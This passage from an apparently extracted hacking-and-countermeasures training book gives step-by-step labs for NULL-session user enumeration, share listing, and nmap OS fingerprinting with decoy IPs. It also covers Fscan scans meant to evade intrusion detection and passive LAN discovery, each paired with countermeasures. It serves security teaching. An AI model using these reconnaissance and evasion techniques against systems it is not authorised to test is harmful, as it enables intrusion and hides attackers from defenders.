attempts.\n\u0001\nThe Administrator has only logged in to this computer 2 times.\n\u0001\nThe PasswordExp is set to 0. (This tell us that the password never expires.)\n\u0001\nThe logon hours are all set to 1. (This tells us that the Administrator can log\nin 24/7.)\n\u0001\nOther information.\nThe username Administrator details have been successfully enumerated\nvia the USERDUMP application.\n" }, { "page_number": 110, "text": "Target Enumeration\n\u0001\n97\nLab 13: Enumerate User Information\nExploit Data from Target Computer: USERINFO \nPrerequisites: NULL Session\nCountermeasures: Restrict Anonymous, host-based firewalls\nDescription: The USERINFO application is designed to gather user infor-\nmation from the target. Some of the information enumerated is the user\nRID, privileges, login times, login dates, account expiration date, net-\nwork storage limitations, login hours, and much more. An attacker uses\nthis information in his or her social engineering phase of an attack.\nProcedure: Establish a NULL session (refer to Lab 8). From a Disc Oper-\nating System (DOS) prompt type the following syntax:\nuserinfo \\\\Target IP Address Target Username\n*Note: Notice the results returned with USERINFO are identical to the USERDUMP\napplication (see Lab 12). Both tools use the NetUserGetInfo API windows call.\n" }, { "page_number": 111, "text": "98\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 14: Enumerate User Information\nExploit User Information from Target: DUMPSEC \n \nPrerequisites: NULL Session\nCountermeasures: Restrict Anonymous, host-based firewalls\nDescription: The DUMPSEC application is designed to gather the user\ninformation from the target. Basically the application is a front-end\napplication for the NetUserGetInfo API windows call. Do not forget to\nestablish a NULL session first.\nProcedure: Establish a NULL session (refer to Lab 8). Open the DUMPSEC\napplication; enter target information, the dump user information, and\nthen read the results given.\nOpen the DUMPSEC application from the directory containing the executable.\nThis is the initial screen when DUMPSEC is started. There is not much\nhere, yet. From Report, Select Computer, enter the target IP address and\nclick OK.\n" }, { "page_number": 112, "text": "Target Enumeration\n\u0001\n99\nThe Dump Users as Table screen appears.\nFrom Report, select Dump User as Column. Click Add until all items\non the left are now on the right on the screen.\n" }, { "page_number": 113, "text": "100\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick OK.\nThe results from the target will appear in the main window. \nScrolling to the right will display the rest of the enumerated information. \n*Note: Extra attention should be given to the “notes” section of the results as many\nAdministrators place sensitive information in that block, including passwords.\n" }, { "page_number": 114, "text": "Target Enumeration\n\u0001\n101\nThe DUMPSEC application may also be run from the DOS command line\nwith the following syntax:\ndumpsec /computer=\\\\Target IP Address /options\nIn this example, the DUMPSEC application will retrieve much of the same\ninformation as the Graphical Interface User (GUI) interface does but retrieve\nthe results in comma-delimited format in a text file with the name of users.txt.\nThe contents of users.txt is displayed. Because this is in comma-delimited\nformat this file may be imported into a spreadsheet such as Microsoft Excel.\n" }, { "page_number": 115, "text": "102\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 15: Host/Domain Enumeration\nEnumerate Hosts and Domains of LAN: Net Commands\nPrerequisites: Access to UDP 137, IPX, or NetBEUI\nCountermeasures: Host-based firewalls\nDescription: The net commands are used to enumerate information from\nthe Local Area Network (LAN). Information that can be obtained is the\nother hosts and domains within the LAN. Once a NULL session has\nbeen established, then any shares these hosts may have will be dis-\nplayed as well.\nProcedure: Net commands may be executed against a target without a NULL\nsession; however, for optimum results a NULL session is recommended.\nThe syntax is:\nnet \nFrom a DOS prompt, type the following with the syntax of:\nnet view\n" }, { "page_number": 116, "text": "Target Enumeration\n\u0001\n103\nIn this example, the hosts within your LAN or current domain are identified.\nThis technique only works on the LAN and not through the Internet by typing:\nnet view /domain\nIn this example, the domains on the LAN are identified. To identify the\nhosts within each domain, the syntax would be:\nnet view /domain:domain name\n" }, { "page_number": 117, "text": "104\n\u0001\nPractical Hacking Techniques and Countermeasures\nAccess rights must be available in order to view the hosts on another domain.\nTo view the nonhidden specific shares available to a target:\nnet view \\\\Target IP Address\nIn this example, the target is sharing two folders: Human Resources and\nPayroll. \n*Note: If you find you are not obtaining the results desired, try initiating a NULL\nsession to the target. \n" }, { "page_number": 118, "text": "Target Enumeration\n\u0001\n105\nLab 16: Target Connectivity/Route\nDetect Target Connectivity: PingG \nPrerequisites: None\nCountermeasures: Deny Internet Control Messenger Protocol (ICMP)\nrequests/reply\nDescriptions: The ping application is used by an attacker to “see” if a\ntarget is connected to the network/Internet as the target will respond\nwith a ping reply.\nProcedure: From a DOS prompt or Linux shell type the following with\nthe syntax of:\nping (Target IP or Hostname)\nIn this example, the target is active and, based on the hostname of\nwww.google.com, returns its IP address of 64.233.167.99. Now the attacker\nhas obtained the IP address of the target.\n" }, { "page_number": 119, "text": "106\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe ping command works in the same way in the Linux environment. \nNotice that when you use the ping command by “pinging” the hostname,\nthe IP address is returned.\nSometimes when searching for the hostname with the ping utility, the\nhostname is not received as in the previous example. In Windows computers\nping may still be useful by using the optional –a switch (case sensitive). \nping –a (Target IP or Hostname)\n*Note: One difference between the Windows ping and other operating systems is\nthat Windows does not provide the option to select the specific NIC to ping\nthe target (providing you have multiple NICs in the “pinging” computer). If\nyou need to use a specific NIC you must disable all other NICs.\n" }, { "page_number": 120, "text": "Target Enumeration\n\u0001\n107\nLab 17: Target Connectivity/Route \nConnectivity/Routing Test: Pathping\nPrerequisites: None\nCountermeasures: Deny ECHO/ICMP request/reply at the border router\nDescription: The pathping application is used by attackers to not only\nverify the target but to view the route to the target. Many times the\nconnection just before the target is a router that attackers may find\nuseful to attack in addition to a computer. \nProcedure: From a DOS prompt type the following with the syntax of:\npathping (IP Address or Hostname)\n" }, { "page_number": 121, "text": "108\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe first result you will see is the route (hops) to the target along with the\nassociated IP address of each hop. \nThe utility then calculates the statistics for each hop along the route.\nRemember that many times next to the last hop, in this case 216.239.49.226,\nis a router. Routers make excellent targets when they are not properly secured.\n" }, { "page_number": 122, "text": "Target Enumeration\n\u0001\n109\nLab 18: Operating System Identification \nIdentify Target Operating System: Nmap/nmapFE \nPrerequisites: None\nCountermeasures: Banner alteration, firewalls, Intrusion Detection\nSystem (IDS)\nDescription: The nmap/nmapFE applications can be used to identify the\npossible operating system (OS) of the target. An attacker uses this\ninformation to launch appropriate attacks for the results obtained. The\ndifference between nmap and Xprobe2 from Chapter 2 is that this\napplication allows the option of initiating a decoy IP address against\nthe target. Remember that all commands in Linux are case sensitive.\nProcedure: Compile and create the Linux executable and run it against\nthe target with the syntax of:\nnmap (IP Address)\nFrom a Linux Terminal containing the directory of the compressed nmap\nfiles type nmap (IP Address).\nThe files will uncompress into a new directory named nmap-3.70.\nChange to the new directory by typing cd nmap-3.70.\nFrom the new directory the nmap application must be compiled for the\nspecific machine it is installed on by typing ./configure.\nThe nmap application will compile to the specific machine it resides on.\n" }, { "page_number": 123, "text": "110\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe next step is to type the make command:\nThe command will execute.\n" }, { "page_number": 124, "text": "Target Enumeration\n\u0001\n111\nThe last step is to create the executable by typing make install.\nThe nmap application will now be created.\n" }, { "page_number": 125, "text": "112\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, to execute nmap against a target with the IP of 172.16.1.40\nto determine the target’s operating system, type the following:\nnmap –sS –p 139 –O –D 24.213.28.234 172.16.1.40\n\u0001\nThe –sS option instructs nmap to use a TCP Synchronized (SYN) stealth\nport scan. This option is initiated by default if you are logged in as the\nroot user.\n\u0001\nThe –p 139 option instructs nmap to scan for a specific port, in this\ncase port 139.\n\u0001\nThe –O option instructs nmap to use TCP/IP fingerprinting to guess\nthe target operating system.\n\u0001\nThe –D 24.213.28.234 option instructs nmap to use this IP address as\na decoy against the target to attempt to throw anyone off that may be\nreviewing the logs, IDS sensors, and so forth \n*Note: The “–p 139” in the example above can be any port but normally is a port\nknown to be open on the target so many times port 53 or 80 is used. \nAlso, with the –D option the attacker can enter several decoy IP addresses\nseparated by a comma (24.24.24.24, 24.24.24.25 …) but keep in mind the real\nIP address will also traverse to the target as well. This supports using more\ndecoy IPs or spoofing your IP address altogether (spoofing is covered in\nChapter 6).\n" }, { "page_number": 126, "text": "Target Enumeration\n\u0001\n113\nThe operating system guess will now take place.\nFrom a sniffer (sniffers are covered in Chapter 5) we can validate from the\ntarget that the decoy IP address was sent to the target.\nIn this example the target has been identified as:\n\u0001\nRunning Microsoft Windows 95/98/ME/NT/2K or XP\nAlso notice that the MAC address of the target has been identified; and\nthat the target is a VMware computer.\nThe nmapFE application acts as a front end for nmap and provides the\nuser a “windowed” environment.\n" }, { "page_number": 127, "text": "114\n\u0001\nPractical Hacking Techniques and Countermeasures\nFollow the previous instructions to compile and create the nmap executable.\nThe nmapFE application should be created during this process as well.\nFrom a Linux terminal in the directory containing the nmapFE executable,\ntype the following:\nnmapfe\nThe nmapFE application will start.\n" }, { "page_number": 128, "text": "Target Enumeration\n\u0001\n115\nIn this example to set the nmapFE scan to produce the same results as the\nLinux terminal counterpart (nmap):\n\u0001\nChange the default target of 127.0.0.1 to 172.16.1.40.\n\u0001\nChange the Scanned Ports from Default to Range Given Below and enter 139.\n\u0001\nMake sure only OS Detection is checked under Scan Extensions.\nClick on the Options tab, select Decoy, and enter 24.213.28.234.\nClick Scan.\n" }, { "page_number": 129, "text": "116\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe results of the scan will be given.\nAgain, the sniffer from the target acknowledges the decoy IP address was\nsent to the target.\nThe results from nmapFE are identical to the terminal version. Again,\nnmapFE is only a front end for nmap.\n" }, { "page_number": 130, "text": "Target Enumeration\n\u0001\n117\nLab 19: Operating System Identification \nIdentify Target Operating System: NmapNT \nPrerequisites: None\nCountermeasures: Banner alteration, firewalls, Intrusion Detection System\n(IDS)\nDescription: The nmapNT application can be used to identify the possible\noperating system (OS) of the target. An attacker uses this information\nto launch appropriate attacks for the results obtained. The difference\nbetween nmapNT and Xprobe2 from Chapter 2 is that this application\nallows the option of initiating a decoy IP address against the target.\nProcedure: Install nmapNT drivers, nmapNT application and run against\nthe target.\nnmap (IP Address)\nIn order to use nmapNT on Windows you will most likely need to install\nthe drivers included with the application.\nOpen the Properties of the NIC you are using by right-clicking on the\nNetwork Neighborhood and selecting Properties.\n" }, { "page_number": 131, "text": "118\n\u0001\nPractical Hacking Techniques and Countermeasures\nRight click on the network card and select Properties. Click Install.\nClick on Protocol to highlight it and click Add.\n" }, { "page_number": 132, "text": "Target Enumeration\n\u0001\n119\nClick Have Disk.\nClick Browse and from the nmapNT\\drivers\\packet2K directory select\nthe Packet_2k.inf file.\nClick Open.\n" }, { "page_number": 133, "text": "120\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick OK.\nClick OK to acknowledge that you are installing a new packet driver.\n" }, { "page_number": 134, "text": "Target Enumeration\n\u0001\n121\nThe driver will install. Click Close.\nIn this example to execute nmap against a target with the IP of 172.16.1.40\nin order to determine the target’s operating system, type the following:\nnmapNT –sS –p 139 –O –D 24.24.24.24 172.16.1.40\n\u0001\nThe –sS option instructs nmap to use a TCP SYN stealth port scan. This\noption is initiated by default if you are logged in as the root user.\n\u0001\nThe –p 139 option instructs nmap to scan for a specific port, in this\ncase port 139.\n\u0001\nThe –O option instructs nmap to use TCP/IP fingerprinting to guess\nthe target operating system.\n\u0001\nThe –D 24.24.24.24 option instructs nmap to use this IP address as a\ndecoy against the target to attempt to throw anyone off that may be\nreviewing the logs, IDS sensors, and so forth.\n*Note: The –p 139 in the example above can be any port but normally is a port\nknown to be open on the target so many times port 53 or 80 is used. \n" }, { "page_number": 135, "text": "122\n\u0001\nPractical Hacking Techniques and Countermeasures\nAlso, with the –D option the attacker can enter several decoy IP addresses\nseparated by a comma (24.24.24.24, 24.24.24.25, …) but keep in mind the\nreal IP address will also traverse to the target as well. This supports using\nmore decoy IPs or spoofing your IP address altogether (spoofing is covered\nin Chapter 6).\nThe scan results will be displayed.\nThe sniffer results (sniffers are covered in Chapter 5) validate that the decoy\npackets were indeed sent to the target.\nThe results of this scan indicate that the target:\n\u0001\nIs probably using Windows 2000 Professional, which is accurate for\nthe target.\n" }, { "page_number": 136, "text": "Target Enumeration\n\u0001\n123\nLab 20: IP/Hostname Enumeration\nEnumerate IP or Hostname: Nslookup \nPrerequisites: None\nCountermeasures: Firewalls, Intrusion Detection Systems (IDS)\nDescription: The nslookup application will query the Domain Name\nSystem (DNS) to obtain the hostname to IP match in the DNS records.\nProcedure: From a DOS prompt or Linux shell type the following with\nthe syntax of\nnslookup (Hostname or IP Address)\nIn this example the nslookup application returned the hostname of\nwww.dell.com for the IP address of 143.166.83.231.\nNslookup works well in Linux as this example resolved the hostname of\nwww.google.com to both 64.233.167.104 and 64.233.167.99.\n*Note: According to the Linux lab above the nslookup command is not the preferred\nchoice in Linux as the Dig command is recommended. The Dig command is\nused to resolve name server information like nslookup.\n" }, { "page_number": 137, "text": "124\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 21: IP/Hostname Enumeration \nEnumerate IP or Hostname: Nmblookup \nPrerequisites: None\nCountermeasures: Firewalls, Intrusion Detection Systems (IDS)\nDescription: The nmblookup application will query the NetBIOS name\nand map that name to the IP address using NetBIOS over TCP/IP\nqueries. All queries are done over the UDP protocol. Using the –T in\nplace of the –A option will return the IP address for a given hostname.\nProcedure: From a Linux shell type the following with the syntax of\nnmblookup (Hostname or IP Address)\nIn this example, www.texnet.net returns an IP address of 64.217.60.4.\n" }, { "page_number": 138, "text": "Target Enumeration\n\u0001\n125\nLab 22: RPC Reporting \nReport the RPC of Target: Rpcinfo\nPrerequisites: None\nCountermeasures: Disable unneeded services; allow only needed ports\nthrough the firewall\nDescription: The rpcinfo application makes a Remote Procedure Call\n(RPC) to the target and reports the results. Attackers use the results to\nidentify what ports/exploits to attack/use.\nProcedure: From a Linux shell type the following with the syntax of:\nrpcinfo (Hostname)\nIn this example, the target 192.168.11.123 has 5 RPC ports open. \n*Note: Notice rpcinfo reports both TCP and UDP ports. Many users forget there are\n65535 TCP and 65535 UDP ports to be concerned with. Many times UDP is\noverlooked.\n" }, { "page_number": 139, "text": "126\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 23: Location/Registrant Identification\nGather Registration Info/Trace Visual Route: Visual Route \nPrerequisites: None\nCountermeasures: Use generic registrant information; use registrants to\nhide your personal information.\nDescription: The Visual Route Web site located at http://www.visualroute.\ncom provides not only a route to the target but a visual indication of\nthe location of the target in a representation of a global map. The\nregistrant information may also be obtained on the target or links to\nthe target. There is also a visual route application for Windows that\ncan be purchased.\nProcedure: From http://www.visualroute.com enter the target host-\nname or IP.\nIn this example, Visual Route tracks and displays a route to\nhttp://www.disney.com. Each link is not only identified by its IP address\n" }, { "page_number": 140, "text": "Target Enumeration\n\u0001\n127\nbut a location is given for each link. Attackers use this information to identify\npotential routers between themselves and their intended targets.\nIn this example, the location and links to the http://www.hotmail.com\ntarget are given. The map that is generated can be zoomed in closer by left-\nclicking on an area of the map. By clicking on the target the registrant\ninformation is obtained. \n*Note: Notice the DNS server IP addresses and hostnames are given as well, which\nmay provide more useful targets.\n" }, { "page_number": 141, "text": "128\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 24: Registrant Identification\nGather IP or Hostname: Sam Spade\nPrerequisites: None\nCountermeasures: Use generic registrant information; use registrants to\nhide your personal information.\nDescription: The Sam Spade Web site located at http://www.samspade.\norg provides a variety of tools against a target such as registrant\ninformation and tracing the route to the target.\nProcedure: From the http://www.samspade.org Web site enter the\ntarget hostname or IP.\nIn this example, the target site is http://www.spiveytech.com.\n" }, { "page_number": 142, "text": "Target Enumeration\n\u0001\n129\nBy clicking the Do Stuff button the registrant information is retrieved by\na WHOIS query.\nThe results of this example show that:\n\u0001\nhttp://www.spiveytech.com has the IP address of 64.217.60.4.\n\u0001\nThe site is registered through the Wild West Domains, Inc. Registrar.\n\u0001\nThe site uses the DNS Name servers of NS1I.TEXNET.NET and NS2I.TEXNET.NET.\n\u0001\nIn this example the registrant personal information is hidden behind the Wild\nWest Domains, Inc. The name server information may also provide useful\ntargets to an attacker.\n\u0001\nAn application of Sam Spade is also available for purchase for Windows.\n" }, { "page_number": 143, "text": "130\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, the target is http://www.hotmail.com. \nThe results reveal the IP address range owned, the address of the registrant,\nthe name servers used, and the date registered.\n*Note: Keep in mind that this type of information gathering is completely under the\nradar and not detected by the target.\n" }, { "page_number": 144, "text": "Target Enumeration\n\u0001\n131\nLab 25: Operating System Identification \nGather OS Runtime and Registered IPs: Netcraft\nPrerequisites: None\nCountermeasures: None\nDescription: Determining the target operating system (OS) lets a potential\nattacker know what attacks to launch. The http://www.netcraft.com\nWeb site allows you to retrieve this information.\nProcedure: From the http://www.netcraft.com Web site enter the target\nhostname or IP.\nNetcraft retrieves the latest information about the site entered.\n" }, { "page_number": 145, "text": "132\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example the target is http://www.hotmail.com. The results reveal:\n\u0001\nThe target is running on Microsoft Windows 2000.\n\u0001\nThe target is using IIS 5.0.\n\u0001\nThe date this information last changed.\n\u0001\nThe IP addresses associated with the target.\n\u0001\nThe netblock owner.\n*Note: Bear in mind that this is a good estimation of the current operating system\nin use and is overall quite accurate.\n" }, { "page_number": 146, "text": "Target Enumeration\n\u0001\n133\nLab 26: Operating System Identification \nScan Open Ports of Target: Sprint \nPrerequisites: None\nCountermeasures: None\nDescription: The Sprint application is used to determine the operating\nsystem (OS) of the target. An attacker uses this information to better\ndetermine what attack or exploit to use against the target.\nProcedure: Compile, make, and create the application and run against\nthe target with the syntax of:\n./sprint (Target)\nFrom the directory containing the compressed Sprint file type tar –zxvf\nsprint-0.4.tgz.\nThe files will uncompress and install into a newly created directory named\nsprint-0.4.\nChange to the new directory by typing cd sprint-0.4 and press Enter.\nCompile the application by typing make linux. \n" }, { "page_number": 147, "text": "134\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe Sprint application will compile.\nTo execute the Sprint application against the target to detect the operating\nsystem, type:\n./sprint –t (Target IP Address)\nIn this example, the target of 172.16.1.40 is operating on Windows 2000.\nAn attacker will take this information and launch Windows 2000 exploits,\nwhich are attacks against the target.\n*Note: The –t option tells Sprint to operate in Active mode. If you need to operate\nin Passive mode use the –l option instead of the –t.\n" }, { "page_number": 148, "text": "Target Enumeration\n\u0001\n135\nLab 27: Default Shares \nDisable Default Shares: Windows Operating System\nPrerequisites: None \nCountermeasures: Host-based firewalls, Restrict Anonymous, Registry\nEdit\nDescription: The default shares for Windows computers can be as useful\nto an attacker as the intended user. The default shares of concern are\nADMIN$ and one for each logical disk on the system (C Drive = C$,\nD Drive = D$, etc.) Once an attacker has identified the default shares\na dictionary attack can be attempted against these shares. The objective\nof this lab is to disable the default shares.\n*Note: Disabling the default shares will render the Microsoft Systems Management\nServer (SMS) and potentially other administrative networking tools inopera-\ntive as they depend on the default shares for their connectivity. The average\nhome user should be able to disable these shares without incident. Verify\nwith the network administrator at the office. This lab concentrates on\ncountermeasures.\nProcedure: Open Control Panel/Administrative Tools/Computer Manage-\nment (or right-click on My Computer and select Manage).\n" }, { "page_number": 149, "text": "136\n\u0001\nPractical Hacking Techniques and Countermeasures\nDouble-click the SHARES to open the shares to the computer and identify\nthe default shares. In this example, the ADMIN$ and C$ are the shares of\nconcern.\nClick on START/RUN and type Regedit. Click OK.\n" }, { "page_number": 150, "text": "Target Enumeration\n\u0001\n137\nBrowse to the following: \nHKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/ \nlanmanserver/parameters\nRight-click and select NEW, DWORD value. Enter the name of AutoShare-\nServer and enter a value of 0.\n" }, { "page_number": 151, "text": "138\n\u0001\nPractical Hacking Techniques and Countermeasures\nRight-click and select NEW, DWORD value. Enter the name of AutoShare-\nWks and enter a value of 0. Restart the computer.\nFrom the Computer Manager as above check the shares to validate the\ndefault shares are no longer there.\n*Note: Chapter 4 will demonstrate how to take advantage of default shares.\n" }, { "page_number": 152, "text": "Target Enumeration\n\u0001\n139\nLab 28: Host Enumeration \nScan Open Ports of Target: WinFingerprint\nPrerequisites: NULL session, access to UDP-137, IPX, or NetBEUI\nCountermeasures: Host-based firewalls, Restrict Anonymous\nDescription: The WinFingerprint application is used to enumerate infor-\nmation from a target. Information such as ports, services, shares, and\npassword policies can be obtained. The amount of information\nobtained can be greatly reduced if the target has restricted anonymous\n(refer to Chapter 1). \nProcedure: From the WinFingerprint application enter in the target IP\naddress or IP range and select the options for the desired results. \nDouble-click on the WinFingerprint icon to start installation.\nThe WinFingerprint Setup Wizard begins. Accept the default choices during\nthe installation by clicking Next throughout the process.\nTo accept the default answer of Yes when asked to change the number\nof ephemeral ports, click Yes.\n" }, { "page_number": 153, "text": "140\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo accept the default answer of Yes when asked to decrease the amount\nof time to release the connections, click Yes.\nTo accept the default answer of Yes when asked to decrease the time to\nrelease the client UNC connection, click Yes.\n" }, { "page_number": 154, "text": "Target Enumeration\n\u0001\n141\nWinFingerprint will now complete installing. You can read or uncheck the\nShow Readme option. Click Finish. WinFingerprint will start. \n\u0001\nEnter the target IP address, IP range, Subnet, IP list, or Neighborhood. \n\u0001\nSelect the scan options.\n\u0001\nSelect if you need a TCP and/or UDP port scan against the target.\n\u0001\nClick Scan.\nThe results will be displayed in the lower window.\n" }, { "page_number": 155, "text": "142\n\u0001\nPractical Hacking Techniques and Countermeasures\nNotice in the next screen that WinFingerprint identified the shares available\non the target.\nOnce the WinFingerprint application has made a NULL session connection\nto the target (one of the options) and the Windows Shares have been identi-\nfied, an attacker can open Windows Explorer and place in the Address bar\nthe path represented in the WinFingerprint results. This will reveal the contents\nof the shared resource. \n" }, { "page_number": 156, "text": "Target Enumeration\n\u0001\n143\nOther information obtained by WinFingerprint against the target includes\nthe following:\n\u0001\nThe password policy\n\u0001\nThe hard drives and assigned letters\n\u0001\nAll MAC addresses\n\u0001\nThe services running\n\u0001\nThe usernames on the target\n\u0001\nThe SID IDs of the users\n\u0001\nThe RID IDs of the users\n\u0001\nThe group names on the target\n\u0001\nAny RPC bindings\n*Note: WinFingerprint is a very reliable and accurate application and the speed at which\nit operates is impressive. This scan only took 3.56 seconds to complete.\n" }, { "page_number": 157, "text": "" }, { "page_number": 158, "text": "Chapter 4\nScanning\n" }, { "page_number": 159, "text": "" }, { "page_number": 160, "text": "Scanning\n\u0001\n147\nLab 29: Target Scan/Share Enumeration \nScan Open Ports of Target: Angry IP\nPrerequisites: None (Optional NULL session prerequisite)\nCountermeasures: Host-based firewalls, Restrict Anonymous, deny port\n139, 445 outbound\nDescription: The Angry IP Scanner is used not only to scan a target for\nopen ports but to attempt to connect to the shared resources. \nProcedure: From the Angry IP application enter in the target IP address\nor IP range and select the options for the desired results.\nFrom the Angry IP application enter the target IP address.\nClick Options, then click Select Ports and enter the ports you are search-\ning for. Click OK.\n" }, { "page_number": 161, "text": "148\n\u0001\nPractical Hacking Techniques and Countermeasures\nClick the Start button.\nOnce the scan has completed a window will appear identifying the results.\nClick OK.\n" }, { "page_number": 162, "text": "Scanning\n\u0001\n149\nOnce the scan has completed a results window will appear identifying the\nnumber of IPs scanned, number of targets alive, and number of targets with\nopen ports.\nIn this example:\n\u0001\nPort 21 (FTP [File Transfer Protocol]) is open.\n\u0001\nPort 80 (Web) is open.\n\u0001\nPort 139 (Windows Share) is open.\n\u0001\nPort 445 (Windows Share) is open.\n" }, { "page_number": 163, "text": "150\n\u0001\nPractical Hacking Techniques and Countermeasures\nRight-click on the IP address to bring up a menu; then select OPEN\nCOMPUTER, then IN EXPLORER.\nIn this example, the results revealed the following:\n\u0001\nThe Database directory is shared.\n\u0001\nThe Downloads directory is shared.\n\u0001\nThe Personal directory is shared.\n\u0001\nThere may be Printers shared on the target.\n\u0001\nThe Windows scheduler is running and may have tasks that can be\nmodified.\n*Note: This example demonstrates a target computer with unprotected shares on\nthe computer. Many unprotected shares are available on private and personal\nnetworks, and many, many on the Internet.\nIf the shares ask you for a username/password when attempting to access\nthem, initiate a NULL session and try again. If the shared resources still ask,\nthen you must find the username/password for that resource by other means.\n" }, { "page_number": 164, "text": "Scanning\n\u0001\n151\nLab 30: Target Scan/Penetration \nScan Open Ports/Penetration Testing: LANguard \nPrerequisites: None\nCountermeasures: Host-based firewalls\nDescription: The LANguard application not only scans a target for open\nports and services but has an integrated penetration testing feature that\nlooks for weaknesses in the target operating system (OS) by running\npredefined scripts against the target.\nProcedure: From the LANguard application, enter the target IP address,\nhostname, or IP range and scan.\nEnter the Target IP address or hostname as the target.\nIn this example, the LANguard application has revealed:\n\u0001\nThe target’s Media Access Control (MAC) address\n\u0001\nCurrently logged-in user\n\u0001\nShared resources\n\u0001\nUsers\n\u0001\nInstalled network cards\n\u0001\nSeveral other pieces of valuable information\n" }, { "page_number": 165, "text": "152\n\u0001\nPractical Hacking Techniques and Countermeasures\nBecause of the canned scripts included with LANguard, several vulnerabilities\nwere found including the Internet Information Service (IIS) directory transversal,\nwhich allows an attacker to browse the contents of the target and gain other\ninformation. Many, if not all, of these weaknesses can be prevented if the target\nhad received its service packs and Windows updates.\nAs a side note notice the Remote Time of Day service is running on the\ntarget. This allows an attacker to initiate a DoS attack against the target at will.\nThe Remote Time of Day service is an example of a service that should not\nbe turned on unless there is a very specific reason to do so, and even then\nshould be protected by firewalls and/or routers.\n*Note: As with any application be aware of your environment prior to and after\ninstalling it. One of LANguard’s features is to perform a remote shutdown of\nthe target. Initially this feature did not work on a Windows computer with\nService Pack 1 installed on it; however, once Service Pack 2 was installed\nthat same computer could be shut down without notice or warning. Please\ndo not assume that newer versions of an application take security into\naccount.\nNewer versions of LANguard require purchase.\n" }, { "page_number": 166, "text": "Scanning\n\u0001\n153\nLab 31: Target Scan through Firewall \nScan Open Ports of Target: Fscan \nPrerequisites: None \nCountermeasures: Host-based firewalls\nDescription: The Fscan application is a tool from Foundstone that allows\nan attacker to scan for open ports on targets. A unique feature of Fscan\nis that it allows an attacker to scan in a random, “quiet” mode to try\nto circumvent Intrusion Detection Software (IDS). Fscan also allows\nthe scan to be bound to a specific port—for example, port 80, which\nmost firewalls allow. (This would be the –i option.)\nProcedure: From the Fscan application enter in the target IP address or\nIP range and scan.\nFrom a DOS prompt type the following with the syntax of:\nfscan (IP Address or Name) (Port #)\nUnless otherwise instructed fscan will scan a default range of both Transfer\nControl Protocol (TCP) and User Datagram Protocol (UDP) ports to see if the\nports are open. In this example the options of –qr were used. This is the same\nas saying –q –r.\n\u0001\nThe –q option instructs Fscan not to ping the target before scanning.\n\u0001\nThe –r option instructs Fscan to scan in a random order.\nThese options help evade IDS that may be between the attacker and the target.\nIn this example, the target has several TCP ports open and a few UDP. The\nports of interest are:\n\u0001\n21 (FTP)\n\u0001\n25 (SMTP)\n\u0001\n80 (HTTP)\n\u0001\n139 (Windows Share)\n*Note: Notice that port 23 is not being scanned. According to Foundstone this was\nan honest mistake by the author, who forgot to put it in.\n" }, { "page_number": 167, "text": "154\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 32: Passive Network Discovery \nPassively Identify Target Information on the LAN: Passifist \nPrerequisites: Compile the Linux script\nCountermeasures: Host-based firewalls\nDescription: The passifist application attempts to identify targets within\na Local Area Network (LAN) by listening in passive mode on the LAN\nand from the results of the information identifies the target’s IP address,\nMAC address, hostname, and probable operating system used.\nProcedure: Uncompress, configure, and execute against target.\nFrom the directory containing the compressed passifist file type tar –zxvf\npassifist_src_1.0.6.tgz.\n\u0001\nThe contents will be extracted into a new directory named passifist.\n\u0001\nChange to the new directory by typing cd passifist and pressing Enter.\n\u0001\nFrom the passifist directory type ./configure and press Enter.\n" }, { "page_number": 168, "text": "Scanning\n\u0001\n155\nThe script will compile to the specific machine it is installed on.\nType in make and press Enter.\n" }, { "page_number": 169, "text": "156\n\u0001\nPractical Hacking Techniques and Countermeasures\nInitiate the passive discovery with the following syntax:\n./passifist –I eth0 –U \"provider=TXT:\nfilename=foobar.txt\"\nOnce the program is initiated, the attacker will wait awhile and then stop\nthe application by pressing Ctrl+C. The results in this example identified\nseven targets on the LAN.\nFrom the options entered when the passifist application was started, the results\nwere saved in a text file named foobar.txt within the directory passifist resides in.\n" }, { "page_number": 170, "text": "Scanning\n\u0001\n157\nUpon opening the foobar.txt file the results identified the following: \n\u0001\nThe target IPs\n\u0001\nHostnames\n\u0001\nMAC addresses\n\u0001\nProbable OS being used by each target \n*Note: Remember that the objective is to gather as much information as possible\nabout the target. All of this information is useful to an attacker as it identifies\nwhat targets are available and helps guide the attacker in the appropriate\ndirection.\n" }, { "page_number": 171, "text": "158\n\u0001\nPractical Hacking Techniques and Countermeasures\nLab 33: Network Discovery \nIdentify Target Information: LanSpy \nPrerequisites: None\nCountermeasures: Host-based firewalls, uninstall/disable unnecessary\nservices\nDescription: The LanSpy application attempts to identify targets within a\nLAN and from the results of the information identifies the target’s IP\naddress, MAC address, hostname, and probable operating system used,\namong other information.\nProcedure: Install and start the LanSpy application, enter the target infor-\nmation, and scan.\nStart the installation of LanSpy by double-clicking the LanSpy setup icon:\nAccept the default installation of LanSpy. LanSpy will install. Once com-\nplete, click Finish.\n" }, { "page_number": 172, "text": "Scanning\n\u0001\n159\nFrom the LanSpy application enter the target IP address. Click on the Green\nArrow to start the scan.\nThe results of the scan will be displayed.\n" }, { "page_number": 173, "text": "160\n\u0001\nPractical Hacking Techniques and Countermeasures\nIn this example, the target has the following TCP ports open:\n\u0001\n21 (FTP)\n\u0001\n80 (Web)\n\u0001\n135 (DCP Endpoint Resolution)\n\u0001\n139 (Windows Shares)\n\u0001\n443 (HTTPS)\n\u0001\n445 (Windows Shares)\n\u0001\n1025 (Network Blackjack)\n\u0001\n1026 (Calendar Access Protocol)\n\u0001\n3306 (MySQL)\n\u0001\n3389 (Terminal Services)\n\u0001\n6666 (Mirc)\nIn this example, the target has the following UDP ports open:\n\u0001\n137 (NetBios Name Service)\n\u0001\n138 (NetBios Datagram 